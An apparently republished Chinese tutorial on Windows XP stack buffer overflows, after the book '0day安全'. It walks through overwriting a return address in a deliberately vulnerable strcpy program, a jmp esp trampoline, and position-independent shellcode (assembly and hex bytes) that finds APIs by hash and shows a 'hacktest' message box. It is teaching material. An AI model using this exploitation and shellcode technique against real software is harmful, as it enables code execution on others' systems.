美文网首页
栈溢出原理与实践

栈溢出原理与实践

作者: 十八砖 | 来源:发表于2019-08-05 21:02 被阅读0次

本文基于win-xp-SP3,实际内存地址与环境有差异,需按实际调试结果为准。

基础概念

VA = Image Base + RVA

  • File Offset:文件偏移,PE文件中数据相对于文件开头的偏移。
  • Image Base:装载地址,PE装入内存的地址。默认EXE基地址是0x00400000,DLL是0x10000000。
  • VA:Virtual Address,虚拟内存地址。PE中的指令被装入内存后的地址。
  • RVA:Relative Virtual Address,相对虚拟地址。内存地址相对于映射基地址的偏移量。

PE文件是按磁盘数据标准存放,以0x200字节(512)为基本单位组织。当数据节不足0x200字节时,不足的地方被0x00填充,超过0x200,下一个0x200块将分配给这个节。
装入内存后,按内存标准存放,并以0x1000字节(4096)为单位组织。

节(section) 相对虚拟地址RVA 文件偏移量
.text 0x00001000 0x0400
.data 0x00009000 0x7400

这种差异引起的节基址差称为节偏移:
.text节偏移 = 0x1000 - 0x400 = 0xc00
.data节偏移 = 0x9000 - 0x7400 = 0x1C00

调试时基于内存地址,要想确认对应的文件偏移,公式如下:
文件偏移地址 = RVA - 节偏移
LordPE可以查看PE文件的节信息,确认节的虚拟地址、装载地址、文件偏移,就可以确认其中一个内存指令对应的文件地址了。

栈帧介绍

下面以一段代码示例来说明函数调用时的栈帧情况。

  • PUSH:为栈增加一个元素
  • POP:从栈中取出一个元素
  • ESP:该寄存器指向栈帧的栈顶
  • EBP:该寄存器指向栈帧的底部
  • EIP:指令寄存器,指向下一条等待执行的指令地址。
int func_B(int arg_B1, int arg_B2)
{
    int var_B1, var_B2;
    var_B1=arg_B1+arg_B2;
    var_B2=arg_B1-arg_B2;
    return var_B1*var_B2;
}

int func_A(int arg_A1, int arg_A2)
{
    int var_A;
    var_A = func_B(arg_A1,arg_A2) + arg_A1 ;
    return var_A;
}

int main(int argc, char **argv, char **envp)
{
    int var_main;
    var_main=func_A(4,3);
    return var_main;
}

栈从高地址往低地址发展,堆从低地址往高地址发展。
VC6.0默认使用__stacall调用方式:参数入栈从右到左,函数返回时堆栈平衡操作在子函数中进行。
函数调用步骤:

  1. 参数入栈:将参数从右向左依次压入栈中
  2. 返回地址入栈:将当前调用指令的下一条指令地址入栈,供函数返回时继续执行。
  3. 跳转:处理器从当前代码区跳转到被调用函数的入口
  4. 栈帧调整:保存当前栈帧状态值,EBP入栈;切换到新栈帧,ESP值装入EBP;给新栈分配空间,把ESP减去所需空间,抬高栈顶。

例如函数A调用函数B:

;A调用前,函数B有3个参数
push 参数 3 
push 参数 2
push 参数 1
call 函数B地址;call 指令将同时完成两项工作: a)向栈中压入当前指令的下一条在内存中的位置,即保存返回地址。
                                        ; b)跳转到所调用函数的入口地址函数入口处
......
;函数B入口代码
push ebp ;保存旧栈帧的底部
mov ebp, esp ;设置新栈帧的底部(栈帧切换)
sub esp, xxx ;设置新栈帧的顶部(抬高栈顶,为新栈帧开辟空间)

函数返回步骤:

  1. 保存返回值:通常将函数的返回值保存在EAX中
  2. 弹出当前栈帧,恢复上一个栈帧:给ESP加上栈帧的大小,降低栈顶,回收栈空间;栈上保存的EBP值弹入EBP寄存器,恢复上一个栈帧;将返回地址弹给EIP寄存器。
add esp, xxx ;降低栈顶,回收当前的栈帧
pop ebp;将上一个栈帧底部位置恢复到 ebp,
retn;这条指令有两个功能: a)弹出当前栈顶元素,即弹出栈帧中的返回地址。至此,栈帧恢复工作完成。 
                        ;b)让处理器跳转到弹出的返回地址,恢复调用前的代码区

下图需要牢记心中,返回地址与漏洞利用有密切关系。

实践:利用栈溢出漏洞,弹出MessageBox

使用如下代码演示利用过程,从password.txt读取内容拷贝到buffer[44]模拟栈溢出。
使用VC6.0编译,默认编译选项,编译成debug版本。在password.txt中植入二进制机器码,运行后弹出一个消息框显示"hacktest"。
步骤:
(1)分析调试漏洞程序,获得淹没返回地址的偏移
(2)获得buffer的起始地址,并将其写入password.txt相应的偏移处,用来冲刷返回地址
(3)向password.txt写入可执行的机器码,用来调用API弹出一个消息框

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[44];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
main()
{
    int valid_flag=0;
    char password[1024];
    FILE * fp;
    LoadLibrary("user32.dll");//prepare for messagebox
    if(!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    fclose(fp);
}

1.分析调试漏洞程序,获得淹没返回地址的偏移
如果在 password.txt 中写入恰好 44 个字符,那么第 45 个隐藏的截断符 null 将冲掉authenticated 低字节中的 1,从而突破密码验证的限制。
出于字节对齐、容易辨认的目的,我们把“ 4321”作为一个输入单元。buffer[44]共需要 11 个这样的单元。
第 12 个输入单元将 authenticated 覆盖;第 13 个输入单元将前栈帧 EBP 值覆盖;第 14 个
输入单元将返回地址覆盖。

首先在password.txt写入11组“4321”,使用OllyDbg加载,通过View-->source file定位到strcpy(buffer,password);下断点,单步调试观察栈内容。

EBP:0x0012FB20位置的上方是"4321"和authenticated ,下方是返回地址。buffer[44]的内存地址是0x0012FAF0。53~56个字符的ASCII码值将写入栈帧的返回地址,成为函数返回后执行的指令地址。

也就是说将buffer[44]的起始地址0x0012FAF0写入password.txt文件中的第53~56个字节,verify_password 函数返回时会跳转到我们输入的字串开始执行。

2.获得buffer的起始地址,并将其写入password.txt相应的偏移处,用来冲刷返回地址
调用MessageBoxA(NULL, "hacktest", "hacktest", NULL)即可弹出一个对话框,MessageBoxA在user32.dll中,使用Dependency Walker可确认其入口地址为0x77D507EA。

调用MessageBoxA汇编指令对应机器码如下:
首先在栈上创建"hacktest"字符串,然后压入参数,最后CALL对应函数。
"hacktest/0"对应的从高内存-->低内存:
/0:PUSH 0
test:68 74657374 //PUSH 0x74736574
hack:68 6861636B //PUSH 0x6B636168

最后使用010 Editor编辑Hex码:
首先将上述调用MessageBoxA的机器码写入,第53~56字节覆盖返回地址为buffer起始地址0x0012FAF0,其余字节用nop 0x90填充。


3.向password.txt写入可执行的机器码,用来调用API弹出一个消息框
运行程序,成功弹出"hacktest"消息框。

改进:jmp esp

1.栈帧移位与jmp esp
上述实践,直接使用了buffer[44]起始地址0x0012FAF0,但是在实际环境中,漏洞代码可能在动态库中,每次运行buffer地址有可能不同,也就是所谓的栈帧移位。
通过观察栈结构,函数返回时,ESP恰好指向栈帧中返回地址的后一个位置!那么用内存中任意一个jmp esp指令的地址覆盖返回地址,那么就不用手动查shellcode的起始地址了,只需把代码覆盖到返回地址之后即可。

2.获取“跳板”地址
我们可以在共有dll中搜索jmp esp,诸如kernel32.dll、user32.dll之类的动态库几乎会被所有进程加载,且加载基地址始终相同。
jmp esp对应的机器码是0xFFE4,使用OllyDbg将OllyUni.dll放到Plugins目录中,可使用如图方法进行搜索。本机搜索出在kernel32中,地址为0x7C86467B。

 Address=7C86467B
 Message=Location found: jmp esp in kernel32.text

3.使用跳板的利用代码
我们把上节的利用代码改为使用jmp esp,并调用exit函数让程序顺利退出。
首先使用Dependency Walker获得ExitProcess的地址,该函数是kernel32.dll导出,地址为0x7C81CAFA。
调用exit(0):ExitProcess

;机器码      ;汇编
53            push ebx
B8FACA817C    mov eax, 0x7C81CAFA
FFD0          call eax

“ 4321”作为一个输入单元。buffer[44]共需要 11 个这样的单元。第 14 个输入单元将返回地址覆盖。
第14个单元覆盖为jmp esp:0x7C86467B,shellcode跟在其后,前13个单元还用"4321"填充。
上节代码做如下红框修改,即可通过jmp esp定位shellcode,并且安全退出。


再改进:通用shellcode

上述实验,我们还是用了Dependency Walker获取MessageBoxA和ExitProcess函数地址。不同的系统版本、不同的补丁版本,地址是有差异的,所以需要一种自动获取函数地址的方法。
win_32 平台定位 kernel32.dll 中的 API 地址,可以采用如下方法:

  1. 首先通过段选择字 FS 在内存中找到当前的线程环境块 TEB。
  2. 线程环境块偏移位置为 0x30 的地方存放着指向进程环境块 PEB 的指针。
  3. 进程环境块中偏移位置为 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
  4. PEB_LDR_DATA 结构体偏移位置为 0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
  5. 模块初始化链表 InInitializationOrderModuleList 中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。
  6. 找到属于 kernel32.dll 的结点后,在其基础上再偏移 0x08 就是 kernel32.dll 在内存中的加载基地址。
  7. 从 kernel32.dll 的加载基址算起,偏移 0x3C 的地方就是其 PE 头。
  8. PE 头偏移 0x78 的地方存放着指向函数导出表的指针。
  • 导出表偏移 0x1C 处的指针指向存储导出函数偏移地址( RVA)的列表。
  • 导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。
  • 函数的 RVA 地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的 RVA。
  • 获得 RVA 后,再加上前边已经得到的动态链接库的加载基址,就获得了所需 API 此刻在内存中的虚拟地址,这个地址就是我们最终在 shellcode 中调用时需要的地址。


通常要对函数名做hash,获得定长摘要,以节省空间。本实验使用hash算法如下:

API函数名 hash摘要
MessageBoxA 0x1e380a6a
ExitProcess 0x4fd18963
LoadLibraryA 0x0c917432
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
    DWORD digest=0;
    while(*fun_name)
    {
        digest=((digest<<25)|(digest>>7));
        digest+= *fun_name ;
        fun_name++;
    }
    return digest;
}
main()
{
    DWORD hash;
    hash= GetHash("MessageBoxA");
    printf("result of hash is %.8x\n",hash);
}

自动查找API:

int main()
{   
    _asm{
            nop
            nop
            
        
            
            nop
            nop
            nop
            CLD                 ; clear flag DF
            ;store hash
            push 0x1e380a6a     ;hash of MessageBoxA
            push 0x4fd18963     ;hash of ExitProcess
            push 0x0c917432     ;hash of LoadLibraryA
            mov esi,esp         ; esi = addr of first function hash 
            lea edi,[esi-0xc]   ; edi = addr to start writing function 

            

            ; make some stack space
            xor ebx,ebx
            mov bh, 0x04             
            sub esp, ebx 
            


            
            ; push a pointer to "user32" onto stack 
            mov bx, 0x3233      ; rest of ebx is null 
            push ebx 
            push 0x72657375 
            push esp 
            
            xor edx,edx


        ; find base addr of kernel32.dll 
            mov ebx, fs:[edx + 0x30]    ; ebx = address of PEB 
            mov ecx, [ebx + 0x0c]       ; ecx = pointer to loader data 
            mov ecx, [ecx + 0x1c]       ; ecx = first entry in initialisation order list 
            mov ecx, [ecx]              ; ecx = second entry in list (kernel32.dll) 
            mov ebp, [ecx + 0x08]       ; ebp = base address of kernel32.dll 
            
                        
        find_lib_functions: 
        
            lodsd                   ; load next hash into al and increment esi 
            cmp eax, 0x1e380a6a     ; hash of MessageBoxA - trigger 
                                    ; LoadLibrary("user32") 
            jne find_functions 
            xchg eax, ebp           ; save current hash 
            call [edi - 0x8]        ; LoadLibraryA 
            xchg eax, ebp           ; restore current hash, and update ebp 
                                    ; with base address of user32.dll 
            
            
        find_functions: 
            pushad                      ; preserve registers 
            mov eax, [ebp + 0x3c]       ; eax = start of PE header 
            mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table 
            add ecx, ebp                ; ecx = absolute addr of export table 
            mov ebx, [ecx + 0x20]       ; ebx = relative offset of names table 
            add ebx, ebp                ; ebx = absolute addr of names table 
            xor edi, edi                ; edi will count through the functions 

        next_function_loop: 
            inc edi                     ; increment function counter 
            mov esi, [ebx + edi * 4]    ; esi = relative offset of current function name 
            add esi, ebp                ; esi = absolute addr of current function name 
            cdq                         ; dl will hold hash (we know eax is small) 
            
        hash_loop: 
            movsx eax, byte ptr[esi]
            cmp al,ah
            jz compare_hash
            ror edx,7
            add edx,eax
            inc esi
            jmp hash_loop

        compare_hash:   
            cmp edx, [esp + 0x1c]       ; compare to the requested hash (saved on stack from pushad) 
            jnz next_function_loop 
            
         
            mov ebx, [ecx + 0x24]       ; ebx = relative offset of ordinals table 
            add ebx, ebp                ; ebx = absolute addr of ordinals table 
            mov di, [ebx + 2 * edi]     ; di = ordinal number of matched function 
            mov ebx, [ecx + 0x1c]       ; ebx = relative offset of address table 
            add ebx, ebp                ; ebx = absolute addr of address table 
            add ebp, [ebx + 4 * edi]    ; add to ebp (base addr of module) the 
                                        ; relative offset of matched function 
            xchg eax, ebp               ; move func addr into eax 
            pop edi                     ; edi is last onto stack in pushad 
            stosd                       ; write function addr to [edi] and increment edi 
            push edi 
            popad                   ; restore registers 
                                    ; loop until we reach end of last hash 
            cmp eax,0x1e380a6a
            jne find_lib_functions 

        function_call:
            xor ebx,ebx
            push ebx            // cut string
            push 0x74736574
            push 0x6B636168     //push hacktest
            mov eax,esp         //load address of failwest
            push ebx    
            push eax
            push eax
            push ebx
            call [edi - 0x04] ; //call MessageboxA
            push ebx
            call [edi - 0x08] ; // call ExitProcess
            nop
            nop
            nop
            nop
    }
}

上述代码编译后,使用OllyDbg从PE中提取二进制机器码如下:
这段机器码,采用字符串copy会发生截断,例如"0A",所以使用方法直接跳转到数组执行。

lea eax, popup_general_note
push        eax
ret
char popup_general_note[]=
"\x90"//                        NOP
"\xFC"
"\x68\x6A\x0A\x38\x1E"//        PUSH 1E380A6A
"\x68\x63\x89\xD1\x4F"//        PUSH 4FD18963
"\x68\x32\x74\x91\x0C"//        PUSH 0C917432
"\x8B\xF4"//                    MOV ESI,ESP
"\x8D\x7E\xF4"//                LEA EDI,DWORD PTR DS:[ESI-C]
"\x33\xDB"//                    XOR EBX,EBX
"\xB7\x04"//                    MOV BH,4
"\x2B\xE3"//                    SUB ESP,EBX
"\x66\xBB\x33\x32"//            MOV BX,3233
"\x53"//                        PUSH EBX
"\x68\x75\x73\x65\x72"//        PUSH 72657375
"\x54"//                        PUSH ESP
"\x33\xD2"//                    XOR EDX,EDX
"\x64\x8B\x5A\x30"//            MOV EBX,DWORD PTR FS:[EDX+30]
"\x8B\x4B\x0C"//                MOV ECX,DWORD PTR DS:[EBX+C]
"\x8B\x49\x1C"//                MOV ECX,DWORD PTR DS:[ECX+1C]
"\x8B\x09"//                    MOV ECX,DWORD PTR DS:[ECX]
"\x8B\x69\x08"//                MOV EBP,DWORD PTR DS:[ECX+8]
"\xAD"//                        LODS DWORD PTR DS:[ESI]
"\x3D\x6A\x0A\x38\x1E"//        CMP EAX,1E380A6A
"\x75\x05"//                    JNZ SHORT popup_co.00401070
"\x95"//                        XCHG EAX,EBP
"\xFF\x57\xF8"//                CALL DWORD PTR DS:[EDI-8]
"\x95"//                        XCHG EAX,EBP
"\x60"//                        PUSHAD
"\x8B\x45\x3C"//                MOV EAX,DWORD PTR SS:[EBP+3C]
"\x8B\x4C\x05\x78"//            MOV ECX,DWORD PTR SS:[EBP+EAX+78]
"\x03\xCD"//                    ADD ECX,EBP
"\x8B\x59\x20"//                MOV EBX,DWORD PTR DS:[ECX+20]
"\x03\xDD"//                    ADD EBX,EBP
"\x33\xFF"//                    XOR EDI,EDI
"\x47"//                        INC EDI
"\x8B\x34\xBB"//                MOV ESI,DWORD PTR DS:[EBX+EDI*4]
"\x03\xF5"//                    ADD ESI,EBP
"\x99"//                        CDQ
"\x0F\xBE\x06"//                MOVSX EAX,BYTE PTR DS:[ESI]
"\x3A\xC4"//                    CMP AL,AH
"\x74\x08"//                    JE SHORT popup_co.00401097
"\xC1\xCA\x07"//                ROR EDX,7
"\x03\xD0"//                    ADD EDX,EAX
"\x46"//                        INC ESI
"\xEB\xF1"//                    JMP SHORT popup_co.00401088
"\x3B\x54\x24\x1C"//            CMP EDX,DWORD PTR SS:[ESP+1C]
"\x75\xE4"//                    JNZ SHORT popup_co.00401081
"\x8B\x59\x24"//                MOV EBX,DWORD PTR DS:[ECX+24]
"\x03\xDD"//                    ADD EBX,EBP
"\x66\x8B\x3C\x7B"//            MOV DI,WORD PTR DS:[EBX+EDI*2]
"\x8B\x59\x1C"//                MOV EBX,DWORD PTR DS:[ECX+1C]
"\x03\xDD"//                    ADD EBX,EBP
"\x03\x2C\xBB"//                ADD EBP,DWORD PTR DS:[EBX+EDI*4]
"\x95"//                        XCHG EAX,EBP
"\x5F"//                        POP EDI
"\xAB"//                        STOS DWORD PTR ES:[EDI]
"\x57"//                        PUSH EDI
"\x61"//                        POPAD
"\x3D\x6A\x0A\x38\x1E"//        CMP EAX,1E380A6A
"\x75\xA9"//                    JNZ SHORT popup_co.00401063
"\x33\xDB"//                    XOR EBX,EBX
"\x53"//                        PUSH EBX
"\x68\x74\x65\x73\x74"//        PUSH 0x74736574
"\x68\x68\x61\x63\x6B"//        PUSH 0x6B636168
"\x8B\xC4"//                    MOV EAX,ESP
"\x53"//                        PUSH EBX
"\x50"//                        PUSH EAX
"\x50"//                        PUSH EAX
"\x53"//                        PUSH EBX
"\xFF\x57\xFC"//                CALL DWORD PTR DS:[EDI-4]
"\x53"//                        PUSH EBX
"\xFF\x57\xF8";//               CALL DWORD PTR DS:[EDI-8]

void main()
{
    __asm
    {
        lea eax, popup_general_note
        push        eax
        ret
    }
}
参考

王清《0day安全:软件漏洞分析技术》

相关文章

  • 栈溢出原理与实践

    本文基于win-xp-SP3,实际内存地址与环境有差异,需按实际调试结果为准。 基础概念 VA = Image B...

  • 栈溢出原理

    栈溢出漏洞是由于使用了不安全的函数,如 C 中的 scanf, strcpy等,通过构造特定的数据使得栈溢出,从而...

  • 栈溢出原理

    介绍 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的...

  • 栈溢出漏洞原理详解与利用

    0x01 前言 和我一样,有一些计算机专业的同学可能一直都在不停地码代码,却很少关注程序是怎么执行的,也不会考虑到...

  • 浅说iOS为什么会上栈溢出

    简介 本文介绍了如下内容 栈的概念 为什么会发生栈溢出 栈溢出的几种栗子 怎么预防和发现栈溢出。 什么是栈? 从数...

  • 栈溢出简易指南

    栈 pwn 主题: 基本栈溢出 针对缓存区溢出防护的对策 shellcode 栈溢出的最终目的是执行shellco...

  • JVM

    1、一般什么情况会发生栈溢出、堆溢出 栈溢出(StackOverflowError) 1、栈是线程私有的,他的生命...

  • Canary机制及绕过策略-格式化字符串漏洞泄露Canary

    Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈...

  • __stack_chk_fail 崩溃问题

    参考:栈检查失败Linux 栈溢出 __stack_chk_fail 是指栈检查失败,具体是的 sp 指针与保存的...

  • 2019-04-06 递归函数

    栈溢出

网友评论

      本文标题:栈溢出原理与实践

      本文链接:https://www.haomeiwen.com/subject/iaypdctx.html